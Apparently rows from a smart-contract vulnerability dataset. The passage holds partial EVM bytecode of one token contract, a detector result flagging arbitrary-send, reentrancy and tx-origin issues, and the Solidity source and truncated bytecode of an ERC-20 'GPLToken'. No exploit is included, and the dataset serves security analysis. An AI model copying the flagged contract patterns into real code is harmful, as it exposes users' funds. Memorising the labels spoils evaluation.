565b9050809150509392505050565b6000600a60159054906101000a900460ff161580156123ee5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156124065750600a60169054906101000a900460ff165b9050919050565b6001600a60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561246b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156124995781602001602082028036833780820191505090505b50905030816000815181106124d7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561257957600080fd5b505afa15801561258d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125b19190612819565b816001815181106125eb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061265230601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114c9565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016126b6959493929190612eae565b600060405180830381600087803b1580156126d057600080fd5b505af11580156126e4573d6000803e3d6000fd5b50505050506000600a60156101000a81548160ff02191690831515021790555050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561276f573d6000803e3d6000fd5b50565b600081359050612781816134ad565b92915050565b600081519050612796816134ad565b92915050565b6000813590506127ab816134c4565b92915050565b6000815190506127c0816134db565b92915050565b6000813590506127d5816134f2565b92915050565b6000815190506127ea816134f2565b92915050565b60006020828403121561280257600080fd5b600061281084828501612772565b91505092915050565b60006020828403121561282b57600080fd5b600061283984828501612787565b91505092915050565b60006020828403121561285457600080fd5b60006128628482850161279c565b91505092915050565b6000806040838503121561287e57600080fd5b600061288c85828601612772565b925050602061289d85828601612772565b9150509250929050565b6000806000606084860312156128bc57600080fd5b60006128ca86828701612772565b93505060206128db86828701612772565b92505060406128ec868287016127c6565b9150509250925092565b6000806040838503121561290957600080fd5b600061291785828601612772565b9250506020612928858286016127c6565b9150509250929050565b60006020828403121561294457600080fd5b6000612952848285016127b1565b91505092915050565b60008060006060848603121561297057600080fd5b600061297e868287016127db565b935050602061298f868287016127db565b92505060406129a0868287016127db565b9150509250925092565b60006129b683836129c2565b60208301905092915050565b6129cb8161308d565b82525050565b6129da8161308d565b82525050565b60006129eb82612f33565b6129f58185612f56565b9350612a0083612f23565b8060005b83811015612a31578151612a1888826129aa565b9750612a2383612f49565b925050600181019050612a04565b5085935050505092915050565b612a47816130b1565b82525050565b612a56816130f4565b82525050565b6000612a6782612f3e565b612a718185612f67565b9350612a81818560208601613106565b612a8a816131f8565b840191505092915050565b6000612aa2602383612f67565b9150612aad82613209565b604082019050919050565b6000612ac5602283612f67565b9150612ad082613258565b604082019050919050565b6000612ae8601b83612f67565b9150612af3826132a7565b602082019050919050565b6000612b0b602183612f67565b9150612b16826132d0565b604082019050919050565b6000612b2e602083612f67565b9150612b398261331f565b602082019050919050565b6000612b51602983612f67565b9150612b5c82613348565b604082019050919050565b6000612b74602583612f67565b9150612b7f82613397565b604082019050919050565b6000612b97602483612f67565b9150612ba2826133e6565b604082019050919050565b6000612bba601783612f67565b9150612bc582613435565b602082019050919050565b6000612bdd602683612f67565b9150612be88261345e565b604082019050919050565b612bfc816130dd565b82525050565b612c0b816130e7565b82525050565b6000602082019050612c2660008301846129d1565b92915050565b6000604082019050612c4160008301856129d1565b612c4e60208301846129d1565b9392505050565b6000606082019050612c6a60008301866129d1565b612c7760208301856129d1565b612c8460408301846129d1565b949350505050565b6000604082019050612ca160008301856129d1565b612cae6020830184612bf3565b9392505050565b600060c082019050612cca60008301896129d1565b612cd76020830188612bf3565b612ce46040830187612a4d565b612cf16060830186612a4d565b612cfe60808301856129d1565b612d0b60a0830184612bf3565b979650505050505050565b6000602082019050612d2b6000830184612a3e565b92915050565b60006020820190508181036000830152612d4b8184612a5c565b905092915050565b60006020820190508181036000830152612d6c81612a95565b9050919050565b60006020820190508181036000830152612d8c81612ab8565b9050919050565b60006020820190508181036000830152612dac81612adb565b9050919050565b60006020820190508181036000830152612dcc81612afe565b9050919050565b60006020820190508181036000830152612dec81612b21565b9050919050565b60006020820190508181036000830152612e0c81612b44565b9050919050565b60006020820190508181036000830152612e2c81612b67565b9050919050565b60006020820190508181036000830152612e4c81612b8a565b9050919050565b60006020820190508181036000830152612e6c81612bad565b9050919050565b60006020820190508181036000830152612e8c81612bd0565b9050919050565b6000602082019050612ea86000830184612bf3565b92915050565b600060a082019050612ec36000830188612bf3565b612ed06020830187612a4d565b8181036040830152612ee281866129e0565b9050612ef160608301856129d1565b612efe6080830184612bf3565b9695505050505050565b6000602082019050612f1d6000830184612c02565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612f83826130dd565b9150612f8e836130dd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fc357612fc261316b565b5b828201905092915050565b6000612fd9826130dd565b9150612fe4836130dd565b925082612ff457612ff361319a565b5b828204905092915050565b600061300a826130dd565b9150613015836130dd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561304e5761304d61316b565b5b828202905092915050565b6000613064826130dd565b915061306f836130dd565b9250828210156130825761308161316b565b5b828203905092915050565b6000613098826130bd565b9050919050565b60006130aa826130bd565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006130ff826130dd565b9050919050565b60005b83811015613124578082015181840152602081019050613109565b83811115613133576000848401525b50505050565b6000600282049050600182168061315157607f821691505b60208210811415613165576131646131c9565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f42656570204265657020426f6f702c20596f752772652061207069656365206f60008201527f6620706f6f700000000000000000000000000000000000000000000000000000602082015250565b6134b68161308d565b81146134c157600080fd5b50565b6134cd8161309f565b81146134d857600080fd5b50565b6134e4816130b1565b81146134ef57600080fd5b50565b6134fb816130dd565b811461350657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200ff363bd28c1b65dc96f170b1f61c8947b72d1c10043c399030f11e4f426883964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,223 |
0x966a3f39623c11a742a26bc3ab2ffb719bc61eb7
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
uint receiverCount = _receivers.length;
uint256 amount = _value.mul(uint256(receiverCount));
/* require(receiverCount > 0 && receiverCount <= 20); */
require(receiverCount > 0);
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < receiverCount; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract GPLToken is CappedToken, PausableToken, BurnableToken {
string public constant name = "GNU General Public License";
string public constant symbol = "GPL";
uint8 public constant decimals = 18;
uint256 private constant TOKEN_CAP = 10000* (10 ** uint256(decimals));
uint256 private constant TOKEN_INITIAL = 10000 * (10 ** uint256(decimals));
function GPLToken() public CappedToken(TOKEN_CAP) {
totalSupply_ = TOKEN_INITIAL;
balances[msg.sender] = TOKEN_INITIAL;
emit Transfer(address(0), msg.sender, TOKEN_INITIAL);
paused = false;
}
}
|
0x606060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461012d57806306fdde031461015a578063095ea7b3146101e857806318160ddd1461024257806323b872dd1461026b578063313ce567146102e4578063355274ea146103135780633f4ba83a1461033c57806340c10f191461035157806342966c68146103ab5780635c975abb146103ce57806366188463146103fb57806370a08231146104555780637d64bcb4146104a257806383f12fec146104cf5780638456cb591461054a5780638da5cb5b1461055f57806395d89b41146105b4578063a9059cbb14610642578063d73dd6231461069c578063dd62ed3e146106f6578063f2fde38b14610762575b600080fd5b341561013857600080fd5b61014061079b565b604051808215151515815260200191505060405180910390f35b341561016557600080fd5b61016d6107ae565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ad578082015181840152602081019050610192565b50505050905090810190601f1680156101da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101f357600080fd5b610228600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107e7565b604051808215151515815260200191505060405180910390f35b341561024d57600080fd5b610255610817565b6040518082815260200191505060405180910390f35b341561027657600080fd5b6102ca600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610821565b604051808215151515815260200191505060405180910390f35b34156102ef57600080fd5b6102f7610853565b604051808260ff1660ff16815260200191505060405180910390f35b341561031e57600080fd5b610326610858565b6040518082815260200191505060405180910390f35b341561034757600080fd5b61034f61085e565b005b341561035c57600080fd5b610391600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061091e565b604051808215151515815260200191505060405180910390f35b34156103b657600080fd5b6103cc60048080359060200190919050506109cf565b005b34156103d957600080fd5b6103e1610b87565b604051808215151515815260200191505060405180910390f35b341561040657600080fd5b61043b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b9a565b604051808215151515815260200191505060405180910390f35b341561046057600080fd5b61048c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610bca565b6040518082815260200191505060405180910390f35b34156104ad57600080fd5b6104b5610c12565b604051808215151515815260200191505060405180910390f35b34156104da57600080fd5b610530600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019091905050610cda565b604051808215151515815260200191505060405180910390f35b341561055557600080fd5b61055d610f74565b005b341561056a57600080fd5b610572611035565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105bf57600080fd5b6105c761105b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106075780820151818401526020810190506105ec565b50505050905090810190601f1680156106345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561064d57600080fd5b610682600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611094565b604051808215151515815260200191505060405180910390f35b34156106a757600080fd5b6106dc600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110c4565b604051808215151515815260200191505060405180910390f35b341561070157600080fd5b61074c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110f4565b6040518082815260200191505060405180910390f35b341561076d57600080fd5b610799600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061117b565b005b600360149054906101000a900460ff1681565b6040805190810160405280601a81526020017f474e552047656e6572616c205075626c6963204c6963656e736500000000000081525081565b6000600560009054906101000a900460ff1615151561080557600080fd5b61080f8383611252565b905092915050565b6000600154905090565b6000600560009054906101000a900460ff1615151561083f57600080fd5b61084a848484611344565b90509392505050565b601281565b60045481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108ba57600080fd5b600560009054906101000a900460ff1615156108d557600080fd5b6000600560006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561097c57600080fd5b600360149054906101000a900460ff1615151561099857600080fd5b6004546109b0836001546116fe90919063ffffffff16565b111515156109bd57600080fd5b6109c7838361171c565b905092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a1e57600080fd5b339050610a72826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190290919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ac98260015461190290919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600560009054906101000a900460ff1681565b6000600560009054906101000a900460ff16151515610bb857600080fd5b610bc2838361191b565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c7057600080fd5b600360149054906101000a900460ff16151515610c8c57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600080600080600560009054906101000a900460ff16151515610cfc57600080fd5b85519250610d138386611bac90919063ffffffff16565b9150600083111515610d2457600080fd5b600085118015610d725750816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b1515610d7d57600080fd5b610dce826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600090505b82811015610f6757610e85856000808985815181101515610e3257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe90919063ffffffff16565b6000808884815181101515610e9657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508581815181101515610eec57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a38080600101915050610e15565b6001935050505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fd057600080fd5b600560009054906101000a900460ff16151515610fec57600080fd5b6001600560006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f47504c000000000000000000000000000000000000000000000000000000000081525081565b6000600560009054906101000a900460ff161515156110b257600080fd5b6110bc8383611be7565b905092915050565b6000600560009054906101000a900460ff161515156110e257600080fd5b6110ec8383611e06565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111d757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561124f5780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561138157600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113ce57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561145957600080fd5b6114aa826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190290919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061153d826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160e82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080828401905083811015151561171257fe5b8091505092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561177a57600080fd5b600360149054906101000a900460ff1615151561179657600080fd5b6117ab826001546116fe90919063ffffffff16565b600181905550611802826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082821115151561191057fe5b818303905092915050565b6000806002600033